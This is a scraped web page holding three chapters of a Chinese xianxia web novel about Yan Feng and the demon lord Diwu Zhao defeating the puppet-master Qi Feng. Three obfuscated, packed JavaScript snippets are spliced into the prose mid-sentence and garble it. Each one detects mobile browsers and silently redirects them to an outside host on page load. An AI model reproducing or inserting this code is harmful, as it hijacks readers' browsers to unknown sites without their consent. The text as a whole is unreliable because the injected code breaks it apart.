;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557268|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉:“我修的是道心,同有没有右手,并无关系。” 王麻子不耐烦的扬起眉:“不是我说你啊,鄢丰,你这说话啊,真是越来越高深莫测了……” 待他们走远了才朝一旁的地啐了一口:“呸!装什么仙风道骨,修个仙把右手都修废了,看昆仑人不将她赶下来呢,假清高!” . 魔种的自愈能力向来强大,第五昭搬到鄢年家中后好生将养了一段时日,便已经恢复如初。 回去的路上鄢年已经将原委向鄢丰一一道来,鄢丰在她提心吊胆的眼神下笑着点头:“救下来了就好。” 鄢丰见了第五昭便同他打招呼,后者耷拉着眼皮,理也不理。直到鄢年唤他才抬起他,勉勉强强点点头。 鄢丰在村子里住了几日,久违的感觉平静。 然而这天鄢丰照例去照看田地,鄢年出门采药,回来时脑门上却顶了个包。 前几日也不是没有发现,鄢年身上总是有些莫名其妙的伤。虽然都不大,却几乎日日都有,难免引人怀疑。 “怎么回事?”鄢丰蹙眉。 鄢年摇摇头:“没什么,只是不小心摔了一跤。” “明日我陪你去,怎得冒冒失失的,我怎么放心的下?” 鄢年捂着脑袋傻笑:“没关系的,还有阿昭在呢!”她看向同样皱着眉头不语的第五昭,“对吧,阿昭?” 第五昭被她一喊才反应过来,愣愣的点点头,突然一顿,又偏过头去,不再看她,冷哼一声。 第二天,鄢丰喊上鄢年,陪她一同到山上去。 “我和你们一起。” 鄢丰刚走出房门便看到第五昭已然穿戴整齐,却不看她,只是看向鄢年。 鄢年笑了笑,点点头。 “姐姐,你这次回来,什么时候……” 鄢年话未说完,三人却齐齐转过头,看向街道另一边三五成堆的小孩,手中都拿着几粒石子—— 而这其中的一颗已经狠狠砸中了鄢年的额头。 第五昭和鄢丰同时面色一沉,向前一步。 鄢丰不再动作,只是盯着几个小孩,正要说什么,第五昭却已经大步靠近,将几个小孩子逼得直后退,直到后背都贴住墙面,已经有小孩被他浑身的戾气吓得哭起来。 “阿昭……”鄢年拉了拉他的手,第五昭却无动于衷,竟蹲下身,朝着为首的丢石子的小孩儿笑了一下,小孩正要松口气,第五昭却揪着领子把他提了起来。 他仍然在笑着,小孩却又惊又恐,吓得不敢讲话,半天才颤巍巍:“你……你放……放开我…………” “哟,瞧瞧,小孩子口无遮拦啊,何必同他们计较呢兄弟,”王麻子正从一边走过来,试图掰开第五昭的手,和和气气的笑道,“何况,”他有些挑衅的看向第五昭,“他们也没做什么,也没说错什么,你——” 他手一指第五昭,又指向鄢年:“还有她,都是……魔、种、呀?” 第五昭戾气暴涨,偏被揪着的小孩儿见有人给自己撑腰,脑袋一扬,大声道:“放开我!你这个坏种!你们两个都是!滚出村子去!滚出去——!” “哦?”第五昭低低笑了起来,锐利的目光转向王麻子,竟真的撒了手。小孩儿种种落地,只听得骨头咔嚓的响声。那厢第五昭已经轻松的扼住王麻子的咽喉,任他如何挣扎都抓得稳稳当当,笑着道:“你要不要试试再说一次?” 他却根本再也说不出一个字! 第五昭指甲长得吓人,一点点刺破皮肉,鄢年轻轻拽拽他的衣角他也恍若未闻。 鄢丰长剑铮然出鞘,王麻子听到响动,艰难的发出一个音节:“救……” 第五昭却反手将他一扔摔在地上,一步步踩上他的胸骨,咔嚓咔嚓的声音不绝于耳,血腥气蔓延开来,王麻子艰难的朝着鄢丰爬过去,终于拽住她一片衣角:“救……救救我……救救我啊……求求你了,救救我……救救我……啊——!” “救你?”第五昭蹲下来欣赏着他求饶的模样,满意的笑起来,恶意满满的凑近他,像野兽在玩弄猎物,“谁能救你,我看你还是准备准备去问问阎王,能不能救救你吧!” 说罢他就狠狠一脚踹得王麻子吐出一口血来,鄢丰如梦方醒,仅剩的左手缓缓举起剑,对准第五昭:“阿昭,住手。” 鄢丰挡在王麻子面前,与第五昭对视。 两人僵持半天,谁也不说话。 第五昭挑眉,先开了口,沉声道:“别碍事。” “……你不能杀他。” 第五昭怒极反笑:“为什么?你知不知道鄢年受的那些大大小小的伤,都是他——” “既然如此,教训到这里也足够了,”她冷冷回过头,看向王麻子,“现在……” 后者触碰到她的目光浑身一凛,连滚带爬的要站起来跑,胸口瘪了一块儿,看起来煞是可怖。 第五昭瞬息出现在他身后,再次掐着他脖子:“站住,我让你走了吗?” “阿昭!你杀了他,以后村子里的人又该怎么看年年?!” “我怎么知道,又关我什么事?”他转过头,笑意森然,掐住王麻子的手一点一点收紧,“我只知道——” “我杀了人,人便再无机会杀我。” . 18. 傀儡(终) . 是夜,夜鸦私语,月黑风高。 身材曼妙的素衣少女的身影被夜色勾勒的窈窕美丽,她身边站着一个俊俏的小少年郎。 正是鄢年和第五昭。 “阿昭,你瞧,”鄢年弯着眼睛笑,看向眼前黑洞洞的深渊,“这个地方……” 她眼中的温度极速褪去,纤纤玉指却毫不犹豫将他推向那个深渊—— “这个地方,可降魔,可杀神,你替我去……瞧一瞧,好不好呀?” 风声突然变得很大,在他耳边吵得耳膜都不住震颤,他却只觉得一阵轰鸣不停的摧折心魂,原本早已习惯的身体下落的失重感此刻却让他感到不寒而栗,一腔热血竟像是被灌注了水银一般沉重、冰凉——骗子。 彻头彻尾的骗子。 夜色对魔种而言是习以为常的,他满心欢喜的赴她的约,期待着、猜想着,却从未曾设想过这样的情形,从未曾设想过这个人原来也想要置自己于死地,要他困在黑暗与魔物的深渊之中永世不得超生。 他浑身僵冷,好像死了一般,动弹不得。 然而下一刻,剑光自上而下,在夜色之中几乎灼伤人眼,而后一个人影借着剑光被照亮,风将她的黑发吹得飞扬起来,浩然的剑气将万魔窟下的魔物都镇住不动。 鄢丰松手扔了剑,带血的剑锋直直落下,左手紧紧和他交握,缺了一条胳膊的身体无法维持平衡,摇摇晃晃,几乎下一刻就要和他一起落下深渊,她却咬着牙死死不放手,一尘不染的白衣服蹭在地上几乎将土地舀出一个洞,剑触底反弹,听她口中念念,化出绚烂的结界来,将两人一同轻柔而稳妥的带上了地面! 第五昭出神看着这张和那位罪魁祸首一样的脸,突然感到有些恍惚。 他向来分辨得清这两人的模样。即便是一模一样的脸,气质上却截然不同。 此刻他竟开始出神起来,怔愣的打量着这张平淡的、和那个人何其相似的脸,一股难以言明的情绪倏尔荡开,久久不能散,乃至于愈演愈烈—— 第五昭曾见过那把剑,毫不犹豫的指向自己。 见过眼前这女子的剑招,招招凌厉的与他针锋相对。 却第一次知道,原来这把剑也能有一天,毫不犹豫的为自己而出鞘,将他牢牢护住。 原来这个人,心慈手软、妇人之仁、行愚善之事,她救了无数人,不问值不值,不问悔不悔,而她最终也会,平等的、不顾一切的,救自己一次。 幻境轰然坍塌,将眼前女子沉静坦然的脸一点点模糊扭曲,他竟下意识伸出手去,对方似乎歪过头,微微掀起了唇,唤他的名字,一遍一遍,空灵的回响—— “阿昭,阿昭?” 鄢丰猛地睁开眼睛! 她按着太阳穴,回想着这个奇怪的幻境。 并非现实,也并非虚幻,斩妖、救人、被排斥的事情发生过,却没有让她失去手臂;她回到过村子,却没有留很久,更不可能有机会救第五昭…… 她垂下眸,看着身旁仍在昏睡的第五昭。 鄢丰始终保持着警惕。 她醒后就发现,迷雾散去,藏馆不见了,显出另一番天地来。 她站起身,在周围查探一圈,神色愈发凝重。 片刻后第五昭也终于睁开眼,刚从幻境中醒来,他皱起眉,看了一眼面前的鄢丰,强自压下心中那微妙而涩然的感觉,站起身先行一步,匆匆催促:“快走吧。” “等等。”鄢丰三步并两步追上他,按住他手腕。第五昭脚步一顿,低下头,目光缓缓看向那只拉着自己手腕的手,微微发愣。 鄢丰仍然环顾四周,半晌沉声道,“阮姑娘和温右使呢?” “……阿昭?” 第五昭半天也没回话,鄢丰蹙眉,站到他面前与他正面相对,想了想,关切道:“……可是幻境当中受了什么伤?” 第五昭这时才如梦方醒,侧过头避开她的目光:“没有。——你刚才说什么?” 鄢丰无奈的叹口气,又重复道:“我说……”她声音凝重几分,“阮姑娘和温右使,不见了。” 两人都意识到这里的不对劲,两人一个是元城未来的城主,一个是日日常伴魔君左右的护法,功夫甚至都可以称得上是超强,此刻竟双双走失。 四下空旷无物,只有眼前一条道,指引着前路,似乎想要寻找答案,就只能不断前进—— 抬头是万里无云的晴天白日,有花草树木,显然都被细细修剪,排布美丽,面前一条过道向前延伸,四周排布着高高低低起伏的房屋。俨然一座小小的遗世村庄。 只是此时此刻,这村庄果真透露着一种诡异的安静,没有一个行人,没有任何声音。 此情此景,在魔域,无论哪一点都堪称诡异。 而定睛而看,在正中央,有一座突兀的华丽巨大的宅院,似乎朝他们招摇的发出邀约。 第五昭与鄢丰对视一眼,毫不犹豫朝那里走去。 不同于其他的房屋,这大宅院之中,迈步走入又是山水亭台,布置精细,主堂之外又有不少偏房厢房。 两人分头探查了一圈,却一无所获,此刻站在这大院子的主堂之中,却似乎都各怀心事,不发一语。 这主堂设计风雅,客座主座都是上好的檀木椅,桌上茶盏摆放整齐,画面精巧,墙壁上挂着字画,一瞧便知出自名家之手。 “阿昭,”鄢丰沉吟一会,开口道,“实在毫无头绪……眼下没有别的办法,只能再分头找一找看了。” 第五昭皱了皱眉,往后退了一步,正巧碰上那茶几,顺势坐上去:“已经找过一遍了,再找就能找到?你自去便是,我可不做无用之事。” 话毕,他烦躁的将后背往后一靠,突然听一声巨响——他方才正正压住了那绘着侍女戏蝶的画卷,触动了开关,此刻暗门已开,竟是一间地下室。 鄢丰目瞪口呆:“……还是阿昭你比较……聪明?” 第五昭健步如飞走快步迈下楼梯,衣袍被带的猎猎作响,只留下一个背影,闻言身形一顿。 “……哼。” . 往下走,果真别有洞天,视野开阔起来,台阶生出苔痕,然而眼前这花园一般的地方,长着一棵参天大树,而它面前还立着一尊雕像。 雕像巨大,仰起头才勉强看清是位女子的模样,含情脉脉的情态,看起来美极了。 鄢丰看了一会觉得有些熟悉,正待再凑近些,却听第五昭仰头打量了一会那神树后,道:“这便是傀儡祁家赖以传承的那棵神树?啧,看上去不过如此嘛……” 鄢丰转过头,也看向那棵树:“神树?” “哦,你不知道?”第五昭耸耸肩,“你以为他们这门手艺靠的是什么,就是这棵树啊……” “怎么说?” 第五昭皱起眉:“什么怎么说,”他走动起来,在角落发现一个突兀的木屋子,“这里有古怪,快来。” 这宽敞开阔之地,竟如此突兀的开了个小洞,搭了个木屋子。 木屋意外的简陋,门窗都似乎年久失修了的样子,微微一碰就吱呀吱呀作响。比起外面金玉其外,与这里相比简直反差巨大。 甫一进门便被飞扬的尘土呛了一口,往里走了走,只有些木桌子木椅子,桌上放着刻刀和几只木偶。 往里走,其内还有一个上了锁的门,鄢丰犹豫一下,第五昭却已经先她一步直接将它震开,巨大声响落幕后竟真的传来隐隐人声。 鄢丰不自禁握住佩剑,两人交换一个眼神,走了进去。 “阿秋,阿秋……阿秋…………” 发出声音的是个老人,他双目无神,似痴似傻,口中不断呢喃着什么人的名字。 而两人走进去的瞬间,他便停了下来。 长满皱纹的眼皮颤巍巍抬起来,竟闪过一丝兴奋、激动,以及…… 浓烈、锐利的杀气。 霎时间气氛凝固起来,刀剑都已然蓄势待发。 然而那老人身边却出现一个妙龄少女来,巧笑倩兮,挡在他面前朝两人笑道:“你们别见怪,我家爷爷老啦,神志不清,冒犯了你们,我给你们赔罪。” 她看到刀剑、感受到凛冽的杀气,却也仍然没有一点儿慌张,反而视而不见一般,热情的招待他们坐下:“我去找茶叶来,难得有客人来呢!” 第五昭狐疑的看着她,却换来后者回以一个明媚的笑来。 鄢丰按住第五昭,微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557269|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇摇头,拉着他如少女所言,坐在木凳子上。 再看那老人,似乎少女出现后一切都平静下来,他又恢复那副神志不清的样子,耷拉着眼皮反复念叨着那个名字。 鄢丰每每看过去都是如此,可移开视线,却总觉得有一双尖锐的眼睛死死盯着自己。 第五昭见鄢丰频频投来的目光,突然笑起来:“一个老头,至于让你忌惮?” 鄢丰不语,脑中警惕拉到最高,见第五昭还看着自己,压低声音凑近,提醒道:“阿昭,这里古怪太多,切记小心。” 第五昭一愣,看了她一眼,随即垂下眸,再不说话。 那少女转眼便一蹦一跳的回来了,果真端着托盘,手脚麻利地将小门关了上,将茶水杯挨个递给他们。 鄢丰和第五昭默契的接过来,却谁也不曾喝过一口。 少女也走过来,看了一圈,亲切的挨着第五昭坐了下来,兴高采烈道:“好久没人来这儿啦,都没人跟我讲外面的那些事了。” 鄢丰始终感觉到那黏在自己身上的目光来者不善,心下警惕,不发一言。 少女却仍然自顾自道:“最近都好久没有人来了……瞧,神树都长这么大了呢。” 鄢丰回过神,闻言一怔,问道:“不知……这神树,究竟有何玄机?” 少女不疑有他,滔滔不绝道:“这可是我们祁家赖以生存的树,它在一天,祁家就在一天。” “——要知道,那些精妙无双的机械心,都是以它的枝干为材料做的。” 傀儡,既可以承装无主的魂魄,也可以直接供主人驱使。 但无论哪一种,让傀儡肉身保持鲜活、与常人无二的关键,就在于祁家一门所做的独一无二的机械心。 “那你们还敢接待外客?”第五昭笑道,“就这么一棵破树,长得再大,一年、十年、百年,又能有多少木料来供你们制作呢?” 少女摇摇头,得意的仰起脸:“这你们就不知道了吧,那可是我族神树,以人精魄为养料,只要养料足够,只需一天,便能长得枝繁叶茂,遮天蔽日。” “你们不是瞧见了那一位吗?虽然不多,但也有人有这样的需求——” “以自身全部三魂七魄作为交换,换一具傀儡身。” 鄢丰瞳孔一震,同时听得咔嚓一声,第五昭竟生生将木桌的一角掰断! 他手心淌出血来,几乎咬牙切齿的:“她当日与我种种,竟是……”忽又大声笑起来,“哈哈哈哈哈哈哈哈……竟是如此,竟是如此……哈哈哈哈哈哈哈哈,可笑——” 少女好奇的看着他,等他闭了嘴才耸耸肩:“你们也在博物馆看到认识的人了吧?唔,做这种交易的,千百年来真的不多,近几百年呢,更是只有一个——啊,对了,”她突然想起什么似的,凑到鄢丰眼前,震惊道,“你好像有点眼熟啊!” 鄢年的事情,看来绝不简单。 鄢丰沉着脸看向少女,隐约感到她此言背后藏着的古怪,脑中警铃大作,诡异、危险随着少女的动作、话语一步一步,正朝他们逼近! 少女却似乎浑然不觉她脸色骤变,也不欲探究,很快把头缩了回去,悻悻:“好嘛,看来你们认识那一位客人呢。” “我已经回答了你们的问题,那,”她坐回去,似有似无看了老人一眼,鄢丰感觉老人的目光竟愈发锐利,此刻几乎要将她身后看出一个洞来,下一刻听得少女突然怪笑了一声,“是不是也该,回报我家主人一些了呢?” 话未毕,她的手竟早已在第五昭出神之际,速度极快的捅穿了他的的腹部,此刻话毕,才血淋淋的、毫不犹豫抽了出来! “你们到底是什么人!?” 两人同时站起身,掀翻狭小屋内几张木凳。 室内顿时剑拔弩张! 少女森然的笑了起来,烂漫而残忍,一字一顿:“我是,他做的,整整第一万个,傀儡。” 鄢丰寒毛直立,转过头,正对上身后那老人,闪着疯狂的精亮的眼睛,和他手中,正快速逼近他们的那柄银光白刃! 哪里还有半分神志不清的模样。 “——阿秋,阿秋,你瞧…………这姑娘的眼睛,和你的,多像啊。” . 19. 针锋(上) . 第五昭捂着下腹不断流血的伤口,舔舔唇:“傀儡?” 他突然大笑起来,眼中兴奋之色不加掩盖,身形一闪便不见了踪影,片刻后,少女颓然倒地,鲜血一分数股从第五昭的手上慢慢流淌,衬得更加苍白、诡异、美丽,他此刻正细细端详手中那颗心。 果不其然是傀儡,那颗机械心被掏出胸口,浸满了血迹,其上机关却似乎丝毫不受影响,精妙绝伦的几个齿轮嘎吱嘎吱转动着,声音竟分外清晰。 一切都发生的极其迅速,鄢丰和第五昭交换一个眼神,须臾之间—— 同时出招! 老人看着倒地的傀儡,终于站起身。 鄢丰长剑出鞘,一招一式严防死守,将那老人致命的招式轻描淡写的化解,第五昭魔气蓄力,化作点点飞墨,瞬息之间出现在老人身后。 前后夹击! 老人却似乎十分敏锐,余光微动,不惊不惧看了第五昭一眼,匕首下一刻脱手而出,险境之下,竟反而朝向反方向倒飞出去! 与此同时第五昭手已然将这老人穿心而过! 第五昭与鄢丰却同时变了脸色—— 一颗嘎吱嘎吱作响的木心在他被破开的胸膛前竟仍在跳动。 也是傀儡! 而瞬息之间那匕首稳而沉重的插在了屋中不起眼的木柜子上。 静默片刻,木柜砰然之间,片片碎裂,无数尖锐的碎片攻向第五昭和鄢丰,老人受了致命伤却是傀儡不死之身,他身形不动,口中念念有词,似乎在召唤着蛰伏的什么东西,尖锐的木屑密集如雨极速朝二人飞来,老人却身影一闪,出现在了木屑雨的保护下,只留下一滩骇人的血迹。 第五昭不耐的“啧”一声,下一刻巨大的魔气迸发而出,竟是想将朝向自己的所有木屑尽数震碎!魔气掀起巨大的气浪,将木屑挡在他身前。 鄢丰顶着气浪,以攻为守,将飞来的碎片尽数挡下。 “躲开!” 鄢丰猝然回头,一具无头傀儡正在她身后,她鼻尖几乎贴着那断口整齐的脖子上端,她心下一凛,抬腿踹在那傀儡膝间,同时反折后腰险险避过傀儡手中利剑的攻击,利剑擦着脸颊而过! 定睛一看,此时无数无头傀儡将他们团团包围,两人步步后退,脊背轻轻一碰,同时飞身而出。 那些傀儡显然训练有素,虽然无头,却个个身手不凡,无论如何攻击都无痛感,一次又一次站起来,直到四肢躯干都被砍断分解,方才无力倒下。 两人一个受了伤,一个断了臂,此刻都感到有些吃力。 第五昭呼吸粗重起来,显然是烦躁到极致,周身魔气暴涨,将一圈傀儡尽数解肢。 然而外圈的傀儡却正好得以进来,鄢丰却也被那魔气的巨大气浪掀得一个踉跄,傀儡近身而来,鄢丰脚下步法一转急急避开,却还是迟了片刻,傀儡手中刀穿肩而过! 鄢丰蹙眉,再这样下去随着血液的流失情况只会更糟。 她喘着气暗暗运气心法,默念咒诀,挡下面前傀儡的又一波攻击后,绕了个圈子出现在第五昭面前,两人同时将面前傀儡一手一脚砍断,鄢丰道:“这样速度太慢,如果体力消耗太大,就真是中了那人的计。” 鄢丰说着看了一眼那正抱臂观察的老人,后者漫不经心的看了她一眼,并不动作。 “你想如何?” “我有一群攻剑招,只是,那招若出须得念诀蓄力,片刻不得少,如此密集的攻击下,我无法施展。” “你确定只要有时间你能使得出来?” 此刻两人都出了汗、挂了彩,圈子越来越小,两人脊背紧紧相贴,却仍然在步步后退—— 绝境。 鄢丰看了一眼他的伤口,道:“不会很久,只是你的伤……” 第五昭转过身击退身后的傀儡,不再看她,只道:“少废话,我只给你半炷香的时间。” 鄢丰轻笑:“半炷香时间,那也……” 下一刻屋内光芒大盛,冰蓝色的光华先是将剑身包裹,鄢丰握着剑的手指节微微泛白,而后冷光冲天,将她浑身包裹起来,瞬息之间,无数剑意蓄力而起,环绕在她身侧,剑意化形,锋芒锐利,无数剑意幻化而成的长剑飞出,凌厉剑影根根交缠将整个大圈子都掩盖住。 第五昭不自觉闭上眼睛,身后还躁动的傀儡却瞬间安静下来,下一刻数声闷响,光芒终于衰弱下来,屋内落满鲜血与残破的肢体—— 所有傀儡尽数倒下! “——太长了。” 鄢丰从耀眼的光芒中走出,收剑入鞘,一步一步逼近那几乎奄奄一息的老人。 巨大的剑气将他掀翻在地,老人却毫不慌忙,口中不断吐出血来,他笑了笑,露出口中缺了牙齿的一个个黑洞,艰难的撑着地站起来。 他几乎只能发出气声,却更显得阴沉险恶: “……你们来的时候,可有见到同来的两个同伴?哦,还是说,你们根本不在乎?” 鄢丰声音一紧:“他们在哪?” “在哪?哈……当然还在,我为他们织的梦里啊。” “傀儡幻戏,起承转合,缺一不可破,”幻境随着他的话音落下,木屋翩然而散,四人原来还在神树之下,而温石与阮小竹两人正靠在树边,老人看向鄢丰,“你们为什么不肯,就乖乖死在我的幻戏呢?” 鄢丰见到阮小竹和温石,迈步便飞身而去,不想老人位置不动,话音未落,口中仍然念念有词,下一刻阮小竹便凭空消失,鄢丰蓦然回头,老人正抚摸着阮小竹的脸,脸色如痴如癫: “瞧这嘴巴、眉毛、骨骼,和她真像,身形也像,只差一样,只差一样……若是再算上……”他又抬起头,森然看向鄢丰,“这双眼睛!” 他竟再次站了起来,暴起而攻! 他已经是强弩之末,鄢丰迅速闪躲,算计着招式。那老人却突然开了口,却是对第五昭:“第五昭。” “你到底是谁?!”第五昭惊疑不定的看着这人,死死盯住他似乎想看出什么。 “哈哈哈哈哈哈哈哈,你不认识我,我却怎么会不认识你呢?”他手下动作不停,却仍然说着,“你们第五家的人最喜欢搞这种交易——” “我放过你和你那个右使,你帮我,把这两个姑娘杀了做傀儡,如何啊?” 鄢丰心下一惊,一边格挡余光注意着沉默的第五昭,脑中飞速思考着对策。 “我可以为他解开幻阵,这是你关系很好的下属吧?” 鄢丰一面注意着第五昭的动作,一面加快速度攻击,一剑直劈老人的右手! 第五昭却比她更快,只片刻便答了话:“……好啊。” 一步一步,朝鄢丰走来! 鄢丰任第五昭越来越近,也剑锋不偏不倚,砍去那老人的一条左臂。 那左臂在地上咕噜咕噜打了个转,溅出血来,第五昭已然出现在鄢丰身后。 “你快替我杀了她!” “急什么,啧。”第五昭啧了一声,一手覆住鄢丰握剑的手,速度快得惊人,下一刻便拿过她手中长剑毫不犹豫斩断了老人的双腿和仅剩的左手! 第五昭漫不经心的扔了剑,左手已经被鄢丰剑上灵气捅出个大窟窿,深可见骨。 他却笑了笑,走到那在地上艰难蠕动的老人面前。他仍在挣扎,口中念着咒语,阮小竹的身体被红色光芒包裹,一颗心竟从老人心口飞出,朝着昏迷的阮小竹而去! “换活人之心,炼成傀儡……”第五昭声音低沉,听不出波澜,脚下却狠绝的一步一步踩碎老人身上所有骨骼,下一刻那颗机械心便落在了地上,黑靴将它踩个粉碎,“你真是疯得不轻……祁锋。” 老人眼睁睁看着眼前的一切,他魂魄已然逐渐消散,周围的景色竟迅速褪色枯萎,神树已显出枯萎之色:“怎么可能,怎么可能……哈哈哈哈哈哈哈哈哈哈哈……怎么可能……” 他癫狂的挣扎想站起来,却才发现早已没了双腿,颓然躺在地上:“哈哈哈哈哈哈……原来如此,原来如此……原来从那天起,我就再也救不了你了啊,阿秋……” 眼前一切竟然都是祁锋维持着的幻境。 而那棵神树,原来不知何时便早已死去了。 周遭景色仍然在极速枯萎,神女像逐渐被青苔攀上大半,第五昭低下头: “祁锋,你果然没死。” “哈哈哈哈哈哈,我还当你认不出我了,”他才如梦方醒,看向第五昭,“当年我待你不薄吧,第五昭,何必非得亲手,杀了我不可?” “不薄?哈,”第五昭像是听到什么笑话一般笑得腰都直不起来,“如果没有那颗心!如果不是你,如果……” “哈哈哈哈哈哈哈哈,心?”老人也笑了起来,却咳出一口鲜血,“你可别忘了,那是你跪在我脚下,自己求来的!” “你闭嘴!” “我却偏不要你如愿!你如今能在魔域有这般威慑,也少不了我的功劳!”他眯着眼睛,恨恨看着第五昭,“第五长渊杀我挚爱,我没杀你已经是心慈手软!哈哈哈哈哈,这颗心,既然救不回阿秋,那我就——” “送给你吧!哈哈哈哈哈哈哈哈哈哈!” 他魂魄散去大半,剩下的力量集中一处,神树迅速干枯,只最后一枝应声而落,那颗粉碎的机械心被一点点填补了起来,腾空而起。 不由分说地撞进第五昭的胸膛! 他几乎散尽魂魄将心送入第五昭体内,第五昭始料未及,戾气暴涨,竟是刺破胸膛,准备将那心掏出来! “你这就忘了傀儡祁家的咒术了么,”祁锋讥讽地看着他停顿下来的手,仰头大笑,笑得鲜血不断涌出口中—— “哈哈哈哈哈哈哈哈……哈哈哈哈哈哈哈哈哈哈哈!!你和你父亲,”他咬牙切齿,一字一句的咒骂道,“全都,不得好死!!” 他已然颓然倒在地上,胸口不再起伏,声音却清晰的传到鄢丰和第五昭耳中,逐渐消散,又不住回响。 第五昭声音竟似颤抖,却强自稳住心神:“现在,你是真的要死了。” 他突然不笑了,声音也轻了下来,好像一声长叹,神色都温柔三分:“是啊……死了,我就可以见到她……” “你再也见不到她了,”第五昭仓促的冷声打断他,低下头,神色晦暗不明,被黑发挡住,“……你很快就会,魂飞魄散。” 祁听罢终于沉默下来,眼中清明而清醒,目光幽幽的望向颓然的、灰白色的天。 “是啊,我是没资格,再见到她的。” 那声音最终消散在一阵风中,祁锋魂魄化作星点四散,连同那生生不息的神树和神圣美好的神女像一同,也彻底轰然倒塌。 . 鄢丰垂眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557270|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着这断壁残垣,第五昭仍然怔怔站在祁锋消散的地方,好像一尊雕像。 半晌,鄢丰道:“……阿昭,阮姑娘和右使还没有醒来,你……先歇歇吧。” 第五昭似乎听到了,身形晃了晃,却仍然没有动,良久,他低下头,抬起手抚上心口的位置。 砰砰跳动的声音,沉闷却有力,与真正的心脏,一般无二。 鄢丰走过去一拍他的肩,刚想开口,第五昭却已颓然倒下,她急忙扶住,然而仅有的左臂也精疲力竭,只能靠着枯萎的树干勉强支撑。 第五昭浑然不觉,微微抬起头,呆呆看着她身上大大小小干涸的血迹,和肩膀处仍然鲜红妖冶的伤口。 他一舔干燥裂开的唇,微张开嘴巴,似乎魇住一般一寸、一寸、又一寸的靠近那道裂口,同那一处鲜活的血液,獠牙慢慢变长—— “阿昭?” 他动作一顿,利齿碰到那伤口,只一刻便蜻蜓点水般退开一点。 他眼神一抬,对上鄢丰狐疑、警惕的目光。 鄢丰低头看着他,感觉像是在与一只凶狠、饿极的野犬对峙。 停留片刻,他再一次趴下,微乱的发顶蹭的她下巴痒痒的。 唇瓣碰上她血腥、温热的肩膀,碰上被破开衣服口子而裸露的一点皮肤—— 鄢丰手摸在甘镬剑的剑柄上,两人好像都屏住了呼吸一般安静,心脏跳动的声音却愈发大了起来。 伤口一阵瘙痒,他伸出舌尖,微微舔了舔干涸的血,长长的额发和她高束的马尾交缠起来,眼睛被严丝合缝的遮住,半点儿也看不清楚,只有轻动的发丝提醒着她—— “你们在干什么?!” 身上重量突然一轻,第五昭下一刻便转过身站好,一挑眉:“醒了?” 阮小竹目光复杂的看向第五昭和鄢丰,正欲开口,她身后的温石走上来先开了口:“君上,我们这是……” 阮小竹很快被转移了注意:“没猜错的话,是傀儡戏?” “你知道?” “当然,”她一笑,“起承转合傀儡戏,傀儡祁家独有的幻阵。所以,你们破了阵?” 鄢丰与第五昭将祁所说的同阮小竹和温石讲了讲,温石沉吟道:“祁锋竟没死?” “祁锋?!”阮小竹一惊,“他不是早就死了吗?!” “恐怕是魂魄寄居傀儡身中了……啧,狡兔三窟。” “祁锋是谁?”鄢丰问道。 “是祁家上任家主,天赋异禀,可凭傀儡生造魂魄,厉害得很呢。不过听说后来……”阮小竹看了第五昭一眼。 “后来,”第五昭勾唇,“疯了。” 鄢丰看他半晌也不再继续,便也不再问。 温石反而蹙眉,担忧道:“君上,那心……” 第五昭冷哼一声:“他祁家人都死没了,想也掀不起什么风浪……无妨。” “这么说,神树早就枯萎了,”阮小竹又绕着树走了圈,“……我得回去告诉祖父和父亲。” “——唉,这真是可惜啊!……这神女像怎么刚好就砸烂了脸啊,你们是不知道,她原本的模样,真真是美极了啊……冰肌玉骨,天人之姿。” 鄢丰闻言,也蹲下身看着神像,阮小竹继续道:“听说啊这是祁家先祖,亲手雕刻的。” “这雕像原来刻的不是傀儡祁家的先祖么?” “不是,”阮小竹摇摇头,“传说,祁家的先祖,喜好游历四海九州,年幼到壮年始终在外漂泊,然后,有一次遇到危及生命的险境,被一位神明,救了一命。” 她又指指雕像:“神明惊鸿一瞥,便回了九重天,而那位前辈却见之难忘,思之如狂,日日夜夜拿木偶人雕刻她的模样,直到熟练了——他也是法力高强,熟练之后,竟以自身血肉和魂魄为引,塑出一名,同那为上神大人,长得一模一样的女子来。” 鄢丰睁大眼睛:“世间还有这种怪谈?” 阮小竹轻笑:“怪谈还是事实,谁知道呢,总归我们只是听个乐子罢了……” 鄢丰也笑了笑,回过头又看了那神像一眼,心中异样。 那雕像,分明漆色褪尽,眉目全非,却仍然莫名感到三分熟悉来。 . “少主,不知先前所说,可还作数?” 阮小竹道:“说是查清真相,但最终也仍在云里雾里的……嗯,待我问过祖父和父亲,与他商讨过,再来答复。” 几人已然接上了阿桑,正往城主府去。 先前救下的少女已经醒了过来,不言不语,只一直跟在阿桑身后,说什么也不肯离开。 